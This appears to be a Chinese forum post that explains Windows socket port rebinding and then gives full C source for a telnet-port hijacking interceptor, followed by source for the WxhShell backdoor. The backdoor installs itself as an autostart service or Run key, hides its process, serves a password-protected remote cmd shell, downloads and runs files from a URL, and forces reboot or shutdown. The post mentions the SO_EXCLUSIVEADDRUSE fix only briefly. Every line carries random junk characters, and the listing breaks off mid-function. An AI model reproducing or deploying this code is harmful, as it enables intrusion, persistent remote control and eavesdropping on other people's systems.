在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
NW
z9C=y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
60"5?=D B@-|b saddr.sin_family = AF_INET;
A9
U5,mOz k+FMZ,D| saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Le*`r2 p-.Ri^p bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
NX?}{'f *kP;{Cb` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8tU>DJ}0 mge#YV:: 这意味着什么?意味着可以进行如下的攻击:
HmvsYP66
hM?`x(P 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
i8K_vo2Z) *oCxof9JA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_B)s=Snx >K\3*]>J3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
o&~dGG4J ;; :">@5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|2O')3p"9 vX ?aB!nkw 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_=pWG^a S+r^B?a<oM 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0!pJ5q ,A wfE^Sb3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~p:?QB>1]
nE_Cuc>K\ #include
yq?]V7~ #include
eNtf#Rqym #include
FC{})|yh
} #include
e,(a6X DWORD WINAPI ClientThread(LPVOID lpParam);
t<Ot|Ex int main()
xk& NAB {
)i;un. WORD wVersionRequested;
_6ZzuVv3/ DWORD ret;
x|8^i6xB WSADATA wsaData;
.46#`4av BOOL val;
`xCOR SOCKADDR_IN saddr;
7'z(~3D SOCKADDR_IN scaddr;
_ Hc%4I int err;
;`DD}j` SOCKET s;
W RF.[R" SOCKET sc;
0LdJZP int caddsize;
yNBv-oe5 HANDLE mt;
<:">mV+/ DWORD tid;
OVZP x%a wVersionRequested = MAKEWORD( 2, 2 );
K*1.'9/ err = WSAStartup( wVersionRequested, &wsaData );
6ZcXS if ( err != 0 ) {
oe9lF*$/ printf("error!WSAStartup failed!\n");
&:<, c12 return -1;
fN@{y+6 }
pe.Ml7o" saddr.sin_family = AF_INET;
>%u@R3PH] AotCX7T2T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
6#U^<` /'ZKS T4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ZWS2q4/S saddr.sin_port = htons(23);
802H$P^ps if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
V C-d0E0 {
{{\ce;hN printf("error!socket failed!\n");
YlTaN,?j return -1;
M*w' 1fT }
z8E1 m" val = TRUE;
];1R&:t //SO_REUSEADDR选项就是可以实现端口重绑定的
&kzj?xK=(j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@ &pqt6/t {
-\4zwIH printf("error!setsockopt failed!\n");
Br!9x{q* return -1;
k2r3dO@q }
S( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!J3UqS //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
E$A3|rjnoN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~Wei|,w'< /`3#4=5- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.1#kDM {
iG#}` ret=GetLastError();
kJT+ printf("error!bind failed!\n");
nn+_TMu return -1;
u#@RM^738d }
2z\e\I listen(s,2);
(5a1P;_Y while(1)
rQb7?O@- {
-R
b{^/ caddsize = sizeof(scaddr);
Y%@hbUc}x9 //接受连接请求
eVJ^\z:4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
GSi>l,y' if(sc!=INVALID_SOCKET)
$=)gpPT {
T]9m:zX9s mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
lyv4fP if(mt==NULL)
uOd&XW {
9AQxNbs printf("Thread Creat Failed!\n");
=n+ \\D break;
eTbg7"waA }
A%XX5* }
rS7)6h7(7 CloseHandle(mt);
v-Qmx-N }
r^1+cwy/7P closesocket(s);
X!>eiYK) WSACleanup();
r@kP* return 0;
|ZiC`Nt }
%S \8. DWORD WINAPI ClientThread(LPVOID lpParam)
`\CVV*hP {
SwW['c'*]B SOCKET ss = (SOCKET)lpParam;
jQ+sn/ROp SOCKET sc;
fQdK]rLj unsigned char buf[4096];
t~hTp K* SOCKADDR_IN saddr;
Mxl]"?z long num;
=r9r~SR# DWORD val;
KC#/Z2A|< DWORD ret;
Kr-G{b_Pp //如果是隐藏端口应用的话,可以在此处加一些判断
WQ6"0*er //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ba@ctkCW saddr.sin_family = AF_INET;
O9"/
kmB saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
k~.&j"K saddr.sin_port = htons(23);
f-SuM% S_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JSr$-C
fH {
Qdf=XG5 printf("error!socket failed!\n");
S1S;F9F return -1;
>V$ Gx>I }
<hx+wrv val = 100;
t0)<$At6J if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[p;E~-S {
[eUftr9&0 ret = GetLastError();
S DLvi!y return -1;
B9,^mE# }
)]htm&q5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j)C:$ {
~*W!mlg ret = GetLastError();
t2BL(yB return -1;
,|kDsR! }
jE\Sm2G9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
om h{0jA0 {
7U|mu~$.! printf("error!socket connect failed!\n");
0#cy=*E closesocket(sc);
,yd= e}lQx closesocket(ss);
/JkC+7H4 return -1;
qIMA6u/ }
%9oYw9H! while(1)
O1'm@
q) {
2lVHZ\G //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
36.N>G, //如果是嗅探内容的话,可以再此处进行内容分析和记录
JW.=T) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9f+>ix,ek* num = recv(ss,buf,4096,0);
RsJ6OFcWV if(num>0)
GH1"xR4! send(sc,buf,num,0);
[`RX*OH2 else if(num==0)
h vka{LD break;
n\z,/'d" num = recv(sc,buf,4096,0);
L;Z0`mdz if(num>0)
:Bu2,EL*O send(ss,buf,num,0);
L|@y&di else if(num==0)
<FI-zca break;
ma'FRt }
!V2/A1? closesocket(ss);
MY#
closesocket(sc);
B=8Iu5m return 0 ;
GVHV =E }
Xce0~\_A >K9#3
4hP 4;`oUt'. ==========================================================
V'*~L\;pU _WX tB# 下边附上一个代码,,WXhSHELL
l>*"mh y\dEk:\) ==========================================================
UhA"nt0 @c9^q>Uv #include "stdafx.h"
:0& X^]\ k@ZLg9 #include <stdio.h>
xj5;: g#! #include <string.h>
B33$pUk #include <windows.h>
ABE@n%|` #include <winsock2.h>
W"^wnGa@a #include <winsvc.h>
a<}#HfC;' #include <urlmon.h>
]0hrRA` Mj[f~ #pragma comment (lib, "Ws2_32.lib")
B(xN Gs #pragma comment (lib, "urlmon.lib")
>{\7&}gz ./Q, #define MAX_USER 100 // 最大客户端连接数
%NL^WG: #define BUF_SOCK 200 // sock buffer
;bHV #define KEY_BUFF 255 // 输入 buffer
_=CZR7:O !aO` AC=5u #define REBOOT 0 // 重启
[(1c<b2r #define SHUTDOWN 1 // 关机
9z)5Mdf1j w?kJ+lmOQy #define DEF_PORT 5000 // 监听端口
U!U$x74D5 sBrI}[oyx #define REG_LEN 16 // 注册表键长度
{ZY+L;eg1 #define SVC_LEN 80 // NT服务名长度
ZaNQpH. U- )i+}Ng // 从dll定义API
{43>m)8+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Y%`xDI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
b[V^86X^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
C4TE-OM8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
s(X;Eha P(F+f`T // wxhshell配置信息
|$5[(6T| struct WSCFG {
3U_2! zF3_ int ws_port; // 监听端口
a7N!B' y char ws_passstr[REG_LEN]; // 口令
C8z{XSo int ws_autoins; // 安装标记, 1=yes 0=no
da)NK! char ws_regname[REG_LEN]; // 注册表键名
-B86U6^s char ws_svcname[REG_LEN]; // 服务名
@v}/zS char ws_svcdisp[SVC_LEN]; // 服务显示名
V5*OA??k< char ws_svcdesc[SVC_LEN]; // 服务描述信息
g8PTGz char ws_passmsg[SVC_LEN]; // 密码输入提示信息
B&D}F=U int ws_downexe; // 下载执行标记, 1=yes 0=no
6k#Jpmmr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
`ZC<W]WYX/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
y!!2WHvE L:@7tc. };
U8
nH;}i +TXX$)3% // default Wxhshell configuration
K tNY_&xd struct WSCFG wscfg={DEF_PORT,
)7h$G-fe "xuhuanlingzhe",
rRFhGQq1m 1,
D_vbSF) "Wxhshell",
'C"9QfK "Wxhshell",
Ja9e^`i; "WxhShell Service",
D9M:^ "Wrsky Windows CmdShell Service",
s6>ZREf#J "Please Input Your Password: ",
j_Yp>=+[ 1,
cTG|fdgMW "
http://www.wrsky.com/wxhshell.exe",
*QH28%^ "Wxhshell.exe"
K'GBMnjD };
=Q\r?(Iy D-c`FG' // 消息定义模块
'q`^3&E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
cFJY^A char *msg_ws_prompt="\n\r? for help\n\r#>";
1')%`~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Hro-d1J7 char *msg_ws_ext="\n\rExit.";
<_7*67{ char *msg_ws_end="\n\rQuit.";
r(P(Rj2~ char *msg_ws_boot="\n\rReboot...";
[sW3l:^ char *msg_ws_poff="\n\rShutdown...";
b9l;a+]d char *msg_ws_down="\n\rSave to ";
OLE[UXD-E k?,1x~ char *msg_ws_err="\n\rErr!";
jbAx;Xt'=M char *msg_ws_ok="\n\rOK!";
OynXkH]0T+ /{&tY:;m char ExeFile[MAX_PATH];
bD?VU<)3 int nUser = 0;
R~PA1wDZ HANDLE handles[MAX_USER];
.hifsB~ int OsIsNt;
&wV]"&- K57&yVX SERVICE_STATUS serviceStatus;
qw^uPs7Uw SERVICE_STATUS_HANDLE hServiceStatusHandle;
;XBI{CW ]iUxp+ // 函数声明
h5^Z2:# int Install(void);
5rU[Tir int Uninstall(void);
OOo3G~2r int DownloadFile(char *sURL, SOCKET wsh);
k=jk`c{<[ int Boot(int flag);
r8xv#r 1 void HideProc(void);
h-[VH% int GetOsVer(void);
$69oV: int Wxhshell(SOCKET wsl);
jWrj?DV,2N void TalkWithClient(void *cs);
ye,>A. int CmdShell(SOCKET sock);
R21b!Pd\ int StartFromService(void);
p"KFJ int StartWxhshell(LPSTR lpCmdLine);
T:=lz:}I >7QvK3S4% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
=Lf,?"S VOID WINAPI NTServiceHandler( DWORD fdwControl );
XzEc2)0'v s*-n^o- // 数据结构和表定义
XMxSQ B1 SERVICE_TABLE_ENTRY DispatchTable[] =
N$U$5;r~` {
md"!33 @ {wscfg.ws_svcname, NTServiceMain},
c"B{/;A {NULL, NULL}
3v1iy/ / };
UdpF@Q 24z< gO // 自我安装
&tg&5_ int Install(void)
FG.em {
Gz,i~XX char svExeFile[MAX_PATH];
{?:X8&Sf HKEY key;
Hl{S]]z strcpy(svExeFile,ExeFile);
$\X[@E S0 sT}.v* // 如果是win9x系统,修改注册表设为自启动
rustMs2p if(!OsIsNt) {
}&wUr>= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^c9t'V`IWQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CEX"D` RegCloseKey(key);
t.xxSU5~% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n[lJLm^(_C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^\4h<M RegCloseKey(key);
{y=j?lD return 0;
;V *l.gr'2 }
a,k>Q` }
i3@)W4{ }
(>nGQS]H else {
w9< R#y[A &L'Dqew,* // 如果是NT以上系统,安装为系统服务
MygfT[_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
jIC_[ if (schSCManager!=0)
{>hC~L?6 {
W3MJr&p SC_HANDLE schService = CreateService
xMTKf+7 (
`4=^cyt+ schSCManager,
1_PoqD!q wscfg.ws_svcname,
;:\<gVi: wscfg.ws_svcdisp,
<G|(|E1 SERVICE_ALL_ACCESS,
fF7bBE)L/| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
u{['<r;I SERVICE_AUTO_START,
RI(DXWM|h SERVICE_ERROR_NORMAL,
9]f!'d!5 svExeFile,
(k5We!4[1 NULL,
0i!uUF NULL,
$w2u3- NULL,
|}BLF NULL,
F \KjEl0 NULL
bDL,S?@ );
|H;F7Y_ if (schService!=0)
%4et&zRC {
J^SdH&%Z CloseServiceHandle(schService);
a_f~N1kq CloseServiceHandle(schSCManager);
4|riKo) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
E8$20Ue strcat(svExeFile,wscfg.ws_svcname);
/Z'L^L%R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
"{@A5A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
le/,R@]B9 RegCloseKey(key);
o<BOYrS return 0;
5m\<U` }
8']M^|1 }
M+||rct CloseServiceHandle(schSCManager);
q&s3wDl/ }
a,
k'Vk{ }
oHd FMD@ 7}f}$1
return 1;
2@'oe7E }
EofymAi% [^Os kJ4 // 自我卸载
x@P y>f2 int Uninstall(void)
$PTP/^ {
m0ER@BXRn HKEY key;
EMwS1~3dD !h"Kq>9T if(!OsIsNt) {
$HHs ^tW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U}yW<#$+ RegDeleteValue(key,wscfg.ws_regname);
T!+5[ RegCloseKey(key);
QM5R`i{r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;RDh~EV RegDeleteValue(key,wscfg.ws_regname);
y"bByd|6 RegCloseKey(key);
n0r+A^] return 0;
gd%NkxmW }
q)X$^oE!6 }
OK[T3/v, }
Uzz'.K(Mv| else {
rI= v S%bCyK%p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
& ?h#Z! if (schSCManager!=0)
XewVcRo {
g7}Gip}.> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
t3*wjQ3 if (schService!=0)
.k,1f*% {
RDW8]=uM if(DeleteService(schService)!=0) {
ciBP7>':: CloseServiceHandle(schService);
h`KFL/fT CloseServiceHandle(schSCManager);
hn5h\M? return 0;
G`SUxhC k }
K0-ypU*P CloseServiceHandle(schService);
_ky,;9G] }
6t>.[Y"v CloseServiceHandle(schSCManager);
D>/0v8
}
LLk(l#K* }
hL/)|N~ K&POyOvT return 1;
m+`fn;* }
w~(1%p/ |L%Z,:yO // 从指定url下载文件
?5C!<3gM) int DownloadFile(char *sURL, SOCKET wsh)
LPZF)@|` {
V=R 3)GC HRESULT hr;
P\yDa*m char seps[]= "/";
+o\:d1y char *token;
ah+~y,Gl char *file;
C7rNV0.Fq char myURL[MAX_PATH];
JJP08oP char myFILE[MAX_PATH];
S>h;K` 15%w 8u strcpy(myURL,sURL);
'n{Nvt.c token=strtok(myURL,seps);
+c(zo4nZ while(token!=NULL)
^T*? >%` {
![`Ay4AZ@a file=token;
vI:;A/& token=strtok(NULL,seps);
rSZd!OQ }
'FqQzx"r Huy5-[)15 GetCurrentDirectory(MAX_PATH,myFILE);
k.5u strcat(myFILE, "\\");
YPU*@l> strcat(myFILE, file);
5:pM4J send(wsh,myFILE,strlen(myFILE),0);
QKyo`g7 send(wsh,"...",3,0);
pf1BN@
t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
61SlVec*o8 if(hr==S_OK)
o|>'h$ return 0;
Sh/T , else
cc,^6[OH@ return 1;
AP68V x.7]/) }
;XF:\<+ cJ{ Nh;" // 系统电源模块
I;e=0!9U int Boot(int flag)
\n$u)Xj~6^ {
h]Wr [v HANDLE hToken;
4lr(,nPRD TOKEN_PRIVILEGES tkp;
dCE0$3'5 < vL,*.zd if(OsIsNt) {
1,6}_MA OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@Ws*Q TlV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3vuivU.3 tkp.PrivilegeCount = 1;
F20E_2;@@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[<2<Y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
P^A!.}d if(flag==REBOOT) {
{9?Jj A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
?ATOXy return 0;
W}m)cn3@ }
iL7DRQ1 else {
R9'b-5q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
k[bD\' return 0;
;|pBFKx }
G}:w@}h/ }
p~SClaR3H else {
U}6B*Xx' if(flag==REBOOT) {
4A8;tU$& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[0(B>a3J return 0;
C9~52+S }
",^Mxm{ else {
kqM045W7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
s"0Y3x3 return 0;
!F1M(zFD }
ey2S#%DF] }
$CY~5A `l9 @aAW*D~-J return 1;
|%J {RA }
-7*ET3NSI/ !B\R''J5 // win9x进程隐藏模块
,VCyG:dw void HideProc(void)
W{5#@_pL {
{1IfU ZX>AE3wk HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S4' if ( hKernel != NULL )
T;L>;E>B {
7({]x*o*% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Hc>m;[M)l ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gG]Eeu+z
FreeLibrary(hKernel);
H| 8Qp* }
>d,jKlh^.% G`n_YH084 return;
<L"GqNuRQ }
v{(^1cX 7uKNd
*% // 获取操作系统版本
{ &"CH]r int GetOsVer(void)
spdvZU=} {
qT%FmX OSVERSIONINFO winfo;
I$<<(VWH winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
CS@FYO GetVersionEx(&winfo);
{_`^R>"\&w if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
23c 8 return 1;
M[mF8Zf else
%e-7ubW return 0;
zbk q }
Jz7!4mu e8pG"`wM8 // 客户端句柄模块
F ~^Jmp7Y int Wxhshell(SOCKET wsl)
`V`lo,"\ {
ht2\ y&si SOCKET wsh;
AfX}y+Ah struct sockaddr_in client;
,u+PyG7 cb DWORD myID;
L;*ljZ^c |.F$G< while(nUser<MAX_USER)
\MbB# {
eM$s v9? int nSize=sizeof(client);
:+qF8t[L wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
l5zS if(wsh==INVALID_SOCKET) return 1;
*A"~m!= {U1?Et# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Oy%''+g if(handles[nUser]==0)
M-1ngI0H; closesocket(wsh);
znxnL,- else
(Dw,DY9 nUser++;
[<%H>S1 }
bmfI~8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'
0J1vG~c lr`&mZ( j return 0;
qAn! Rk A }
pi
Z[Y
5OE MCS8y+QK // 关闭 socket
;D:9+E<>a void CloseIt(SOCKET wsh)
7*
yzEM {
*~t6(v? closesocket(wsh);
v.pBX< nUser--;
tnPv70m ExitThread(0);
j6Yy6X] }
K
P Oa|$ yf[~Yl>Ogw // 客户端请求句柄
aMtsmL?= void TalkWithClient(void *cs)
.}O[dR {
_a6[{_Pc ~yH?=:>U SOCKET wsh=(SOCKET)cs;
swM*k;$q{ char pwd[SVC_LEN];
q(`/Vo4g( char cmd[KEY_BUFF];
rEB@$C^ char chr[1];
P(+&OoY2 int i,j;
Lv|q N"]q='t while (nUser < MAX_USER) {
.NYbi@bk(< -I&m:A$4* if(wscfg.ws_passstr) {
)%`^xR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fA+,TEB~d //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
v2B0q4*BS? //ZeroMemory(pwd,KEY_BUFF);
+kzo*zW$L i=0;
j@SQ~AS while(i<SVC_LEN) {
$npT[~U5
Dp)=0<$y // 设置超时
sg$rzT-S4 fd_set FdRead;
nQ5n-A&[" struct timeval TimeOut;
A-ZN F4 FD_ZERO(&FdRead);
7UdM FD_SET(wsh,&FdRead);
n/+.s(7c TimeOut.tv_sec=8;
mj9 <%P TimeOut.tv_usec=0;
+VO-oFE | int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
L&u$t}~) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@cFJeOC| czS+<
w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
xlA$:M& pwd
=chr[0]; vUohtS*
if(chr[0]==0xd || chr[0]==0xa) { 3NqN\5B:
pwd=0; _*1`@
break; mt,OniU= Q
} 0=AVW`J
i++; BT}!W`
} 3E!|<q$z
1Cv-
// 如果是非法用户,关闭 socket ?u "
4@
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mF,Y?ax
} zi]\<?\X
*Zt#U#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q,93nhs "
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rm255zp
J&.{7YF
while(1) { PIdikA
?~hHGf\^b6
ZeroMemory(cmd,KEY_BUFF); Qo;zHZ'
VJickXA
// 自动支持客户端 telnet标准 {<R2UI5m5
j=0; 8,?h~prc
while(j<KEY_BUFF) { {q`jDDM
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +yk24
`>
cmd[j]=chr[0]; 19E8'@
if(chr[0]==0xa || chr[0]==0xd) { tt0f-:#
cmd[j]=0; @zU6t|mhz
break; .J)I | '
} 6W]9$n\"?
j++; ABD)}n=%c
} e?JW
1~Oe=`{&
// 下载文件 `w.n]TR
if(strstr(cmd,"http://")) { _"bHe/'CI
send(wsh,msg_ws_down,strlen(msg_ws_down),0); <{V(.=11
if(DownloadFile(cmd,wsh)) Mxyb5h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); glM$R &/
else 7UVzp v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s$Z
_48
} l49*<nkmq
else { NQ(1
GP?M!C,/}k
switch(cmd[0]) { DU5c=rxW
[AYOYENp-
// 帮助 k1{K*O$e
case '?': { wt!nMQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /s@o Z{h
break; 1(I6.BHW
} q7_ m&-0)
// 安装 nD`w/0hT<
case 'i': { 9Iwe2lu
if(Install()) G6/p1xy>o:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |iE50,
else 5,_u/5Y4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `$,GzS (
break; :N4t49i
} Z4S!NDMm~
// 卸载 ~<_2WQ/$
case 'r': { *h!28Ya(~
if(Uninstall()) ++6`sMJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ="Ho%*@6
else gy#/D& N[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3RYpJAH
break; u%}nw :>
} e1%/26\
// 显示 wxhshell 所在路径 fGUE<l
case 'p': { >O*IQ[r-
char svExeFile[MAX_PATH]; CE#gfP
strcpy(svExeFile,"\n\r"); F`gi_;c
strcat(svExeFile,ExeFile); *=]&&<
send(wsh,svExeFile,strlen(svExeFile),0); ^(vs.U^U<
break; Gft%Mq
v
} LhOa{1SY
// 重启 M+U9R@
case 'b': { [@J/eWB
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6$kq aS##
if(Boot(REBOOT)) F Sw\_[^CQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ok!L.ac
else { '*5i)^
closesocket(wsh); _F>CBG
ExitThread(0); Qw-~>d
} QEz?w}b*
break; dIN$)?aB0
} L^}_~PO N5
// 关机 -w9pwB
case 'd': { 0AZ")<^~7
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R=gb'
if(Boot(SHUTDOWN)) lR )67a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .E`\MtA
else { |bTPtrT8
closesocket(wsh); G`cHCP_n
ExitThread(0); ZrPbl"`7
} KN<S}3MN
break; n^Hm;BiE#
} NQBpX
// 获取shell s}w{:Hk,x8
case 's': { h2Ld[xvCu%
CmdShell(wsh); )J2mM
closesocket(wsh); }>>1<P<8-
ExitThread(0); 'u *DA|HC
break; ,:%CB"J
} [pbo4e,4O
// 退出 PVe
xa|aaX
case 'x': { @.$| w>>T
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
}Yb[
CloseIt(wsh); ^E;kgED5
break; U#lCj0iUt,
} A P)L:7w'e
// 离开 Bt@^+vH ~
case 'q': { Q# ~Q=T'<
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ag 9vU7
closesocket(wsh); 7j@Hs[
*
WSACleanup(); t|g4m[kr
exit(1); C 3^JAP
break; -`'I{g&A
} R%{<mno/_
} SIBtmm1W
} 7''??X
A,JmX
// 提示信息 ns9U/:L
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZGexdc%
} wxKX{Bs
} ?qPo=~y01
SheM|I~de
return; .B7,j%1r
} \H1(PA
u_@f$
// shell模块句柄 !hJ+Lp_
int CmdShell(SOCKET sock) 5eLtCsHz
{ q
?|,O;?
STARTUPINFO si; |cK*~
ZeroMemory(&si,sizeof(si)); vx>b^tJKC
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `7c~mypx
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C[ NSkr
PROCESS_INFORMATION ProcessInfo; Lt u'W22
char cmdline[]="cmd";
?9!6%]2D
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,)0H3t
return 0; Bo)3!wO8
} Rw"sJ) /
CS2Bo
// 自身启动模式 v[
.cd*b
int StartFromService(void) ]OM"ZG/^
{ c/D+|X*
typedef struct {j9{n
{ 9+j0q%
DWORD ExitStatus; YN/|$sMD|
DWORD PebBaseAddress; PC~Y8,A|.t
DWORD AffinityMask; I3aNFa}
DWORD BasePriority; 6/5YjO|a
